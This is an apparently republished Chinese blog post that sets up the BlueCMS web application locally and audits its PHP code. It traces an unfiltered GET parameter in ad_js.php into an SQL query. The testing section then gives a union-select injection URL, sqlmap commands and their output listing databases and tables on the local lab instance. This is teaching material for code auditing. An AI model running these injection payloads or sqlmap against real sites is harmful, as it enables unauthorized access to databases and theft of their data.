bluecms搭建和代码审计(SQL)

news/2024/12/29 11:51:19/文章来源:https://www.cnblogs.com/evo-lution/p/18410734

bluecms搭建

将bluecms的源码文件bluecms放在www目录下,进入bluecms/install/index.php目录安装bluecms

图片名称

填写数据库配置信息和管理员账号信息

图片名称

填写完上述信息后,会自动在bluecms数据库下创建这些文件

图片名称

返回主界面 http://127.0.0.1/bluecms后发现管理员不能从前台登录,

需要从http://127.0.0.1/bluecms/admin/login.php登录

图片名称
搭建成功,已进入后台管理系统
图片名称

新建项目,使用Seay进行自动审计,但这个分析只是单一的静态分析里面的代码和函数可能出现的漏洞

图片名称


代码审计

将blue代码载入到IDEA中,搜索如下正则表达式

(update|select|insert|delete|).*?where.*=\

这段正则表达式设计用于匹配SQL语句中包含"where"子句且条件中出现等号"="的部分。下面是对各部分的详细解析:

  1. (update|select|insert|delete|
    • 这部分匹配SQL语句的开始,可以是UPDATE, SELECT, INSERT, 或 DELETE。使用竖线|作为选择操作符,表示匹配其中任意一个。
  2. .*?
    • 这是一个非贪婪的点星模式,表示匹配任意字符(.)任意次(*),但尽可能少(?)。这用于匹配上述关键字之后直到where关键字之前的任意字符。
  3. where
    • 匹配WHERE关键字,用于SQL语句中指定条件的部分。
  4. .*=\
    • 这部分继续使用非贪婪的点星模式匹配where关键字之后的任意字符,直到找到第一个等号=。等号后面跟着的反斜杠\用于确保等号是作为匹配目标,而不仅仅是语法的一部分。

总结来说,整个正则表达式用于在一段文本中查找UPDATE, SELECT, INSERT, 或 DELETE语句,且这些语句中包含where条件子句和等号=作为条件的一部分。它主要用于从一段文本中抽取或识别特定的SQL语句结构。

在正则表达式中,.*是一个非常常用的模式,它代表匹配任意数量(包括零个)的任意字符。

  • .(点)匹配除换行符之外的任何单个字符。
  • *(星号)是一个量词,它表示前面的模式(在这里是.)可以重复零次或多次。

.*组合在一起时,它意味着匹配尽可能多的任意字符。这种模式通常用于匹配或查找不关心具体内容的任意文本,或者用于跳过直到下一个特定模式出现前的文本。

例如,如果在正则表达式中使用Hello.*world,这将匹配任何以"Hello"开始,以"world"结束的字符串,中间可以是任何字符,包括空字符串。

需要注意的是,*默认是贪婪的,即它会尽可能多地匹配字符,直到下一个模式出现。如果需要让.*尽可能少地匹配字符,可以使用非贪婪(或懒惰)模式,即.*?

图片名称

查找正则表达式匹配到的SQL语句中哪个有变量

  • info_index.php中有变量pub_date,但是写在order by后面,不是连接前面的while循环,这种不优先看

    " WHERE lit_pic != '' ORDER BY pub_date DESC 
    
  • ad_js.php中有变量$ad_id,这种情况就可以优先看,因此此时变量直接拼接在where列名(ad_id)之后。在注入时,大部分的注入语句都是在while后面的一个变量,通过跟踪那个变量值来注入。像上面的变量写在order by后面的就不一定能注入成功

    $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
    

    getone不是php的官方函数,那就是自定义函数,其功能应该是执行后面的SQL语句并将其值赋值给$ad

图片名称

右键函数=>转到=>声明或用例(声明是看这个函数如何定义,实现就是引用这个函数的地方)

跳转到声明这个函数的地方mysql.class.php,查看函数声明

function getone($sql, $type=MYSQL_ASSOC){$query = $this->query($sql,$this->linkid);$row = mysql_fetch_array($query, $type);return $row;
}

可以确定geton这个函数的功能是执行后面的SQL语句并将其值赋值给$ad,知道了函数的功能后就要看函数中的变量能不能被控制,来确定是否可以注入

在当前文件ad_js.php下全局搜索$ad_id

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';   //使用了三元运算符xx?xx:xx
if(empty($ad_id))
{echo 'Error!';exit();
}如果$_GET['ad_id']存在且非空,则使用trim()函数去除ad_id字符串两侧的空白字符,然后将结果赋值给$ ad_id。
如果$_GET['ad_id']不存在或为空,则$ ad_id被赋值为空字符串''。

前面跟踪getone以及$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';发现都没有进行过滤,直接测试这个漏洞



漏洞测试

步骤如下

文件路径是在bluecms\ad_js.php,直接访问本地搭建的这个网站对应文件

图片名称
修改一下mysql.class.php中的getone函数,输出对应的sql语句方便查看
图片名称

进行测试

图片名称

执行sql语句http://127.0.0.1/bluecms/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()),但是并没有结果回显。因为在getone函数执行sql语句之后并没有将结果进行输出,所以此类注入点一般采用延迟注入或者是报错注入(无回显)

图片名称

使用sqlmap进行测试

python sqlmap.py -u "http://127.0.0.1/bluecms/ad_js.php?ad_id=1"

判断出两种方式:事件盲注和联合查询

图片名称

查询数据库、当前数据库、当前用户信息

python sqlmap.py -u "http://127.0.0.1/bluecms/ad_js.php?ad_id=1" --dbs --current-db --current-us
er

查询成功

[16:58:48] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29, PHP, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[16:58:48] [INFO] fetching current user
[16:58:49] [WARNING] reflective value(s) found and filtering out
current user: 'root@localhost'
[16:58:49] [INFO] fetching current database
current database: 'bluecms'
[16:58:49] [INFO] fetching database names
available databases [8]:
[*] bluecms
[*] challenges
[*] employee
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] sys

查询bluecms这个数据库的全部表名

sqlmap.py -u "http://127.0.0.1/bluecms/ad_js.php?ad_id=1" -D bluecms --tables

查询成功

[17:03:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[17:03:37] [INFO] fetching tables for database: 'bluecms'
[17:03:37] [WARNING] reflective value(s) found and filtering out
Database: bluecms
[29 tables]
+------------------+
| blue_ad          |
| blue_ad_phone    |
| blue_admin       |
| blue_admin_log   |
| blue_ann         |
| blue_ann_cat     |
| blue_arc_cat     |
| blue_area        |
| blue_article     |
| blue_attachment  |
| blue_buy_record  |
| blue_card_order  |
| blue_card_type   |
| blue_category    |
| blue_comment     |
| blue_config      |
| blue_flash_image |
| blue_guest_book  |
| blue_ipbanned    |
| blue_link        |
| blue_model       |
| blue_navigate    |
| blue_pay         |
| blue_post        |
| blue_post_att    |
| blue_post_pic    |
| blue_service     |
| blue_task        |
| blue_user        |
+------------------+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/796132.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

KubeSphere 社区双周报| 2024.08.30-09.12

KubeSphere 社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过 commit 的贡献者,并对近期重要的 PR 进行解析,同时还包含了线上/线下活动和布道推广等一系列社区动态。 本次双周报涵盖时间为:2024.08.30-09.12。 贡献者名单近期重要更新 KubeS…

Appium+python框架搭建

一、Appium-Python-Client ①安装依赖库也就大家说的客户端,这里的客户端指的是我编辑代码的界面,因为代码界面我要引入webdriver所以叫客户端,其实本质是一个依赖库跟selenium差不多 ②安装的命令:pip install Appium-Python-Client(python环境所以安装python包) ③Appi…

2576. 求出最多标记下标

给你一个下标从 0 开始的整数数组 nums 。 一开始,所有下标都没有被标记。你可以执行以下操作任意次: 选择两个 互不相同且未标记 的下标 i 和 j ,满足 2 * nums[i] <= nums[j] ,标记下标 i 和 j 。 请你执行上述操作任意次,返回 nums 中最多可以标记的下标数目。 示例…

**** oracle 数据库-监听故障处理-故障单

**** 数据库-监听故障处理-故障单**** 数据库-监听故障处理故障反馈人张**工单接收时间2024年9月11日 9:10审核/复核人张**/张***处理完毕时间2024年9月11日 9:22报告人柏*报告时间2024年9月11日11:22故障环境IP: 180.5.115.** 数据库版本: 10.2.0.4.0故障现象告警时间: 起…

Spring声明式事务不生效?

背景 本篇博文将会讲一讲Spring中使用@Transactional注解会出现的不生效问题。事务的生效与否,一般不是我们冒烟自测的范围,测试也不会去测,但是一旦上线后,事务出现不生效的情况,就可能引发较大的问题,甚至会带来损失。所以,使用好事务注解是非常重要的,尤其是注意哪些…

UE4(5)逆向学习笔记(二)——寻找GWorld,GName和GUObjectArray

目录0.前言1.准备1.1 下载游戏《死寂(DeathlyStillness)》1.2 下载UE源码2.寻找GWorld3.寻找GName4.寻找GUObjectArray5.开始Dump5.结尾 0.前言 笔记(一)中我们了解了GWorld,GName和GUObjectArray是什么,也知道了想要使用UEDumper要获取到它们的偏移。 这次我们就以游戏《…

一个用于管理多个 Node.js 版本的安装和切换开源工具

大家好,今天给大家分享一个用于管理多个Node.js版本的工具 NVM(Node Version Manager),它允许开发者在同一台机器上安装和使用不同版本的Node.js,解决了版本兼容性问题,为开发者提供了极大的便利。在开发环境中,特别是在处理多个项目时,每个项目可能依赖于不同版本的 N…

2552.统计上升四元组

题目描述: 给你一个长度为 n 下标从 0 开始的整数数组 nums ,它包含 1 到 n 的所有数字,请你返回上升四元组的数目。 如果一个四元组 (i, j, k, l) 满足以下条件,我们称它是上升的: 0 <= i < j < k < l < n 且 nums[i] < nums[k] < nums[j] < num…

屏幕画笔、截图工具

水豚鼠标助手 用于做屏幕指导比较方便,鼠标换肤,屏幕画笔 https://shuitunapp.com/?from=txc //官网下载pixpin下载地址 这是一款好用的屏幕截图,贴图,gif制作 小工具 https://pixpinapp.com/

屏幕画笔和鼠标点击工具

https://shuitunapp.com/?from=txc //官网下载

disk-Linux磁盘IO性能测试方法-fio

disk-Linux磁盘IO性能测试方法-fio 测试随机写IOPS: fio -direct=1 -iodepth=128 -rw=randwrite -ioengine=libaio -bs=4k -size=10G -numjobs=1 -runtime=1000 -group_reporting -name=/path/testfile测试随机读IOPS: fio -direct=1 -iodepth=128 -rw=randread -ioengine=li…

单实例-oracle巡检模版 -20240912

单实例-oracle巡检模版 -20240912 —————————————————————————————————————————— ---- 2024年9月12日16:38:47 ---- bayaim ---- 以下内容纯属个人原创,纯属个人多年经验总结,非喜勿喷,Gun~ ——————————————————…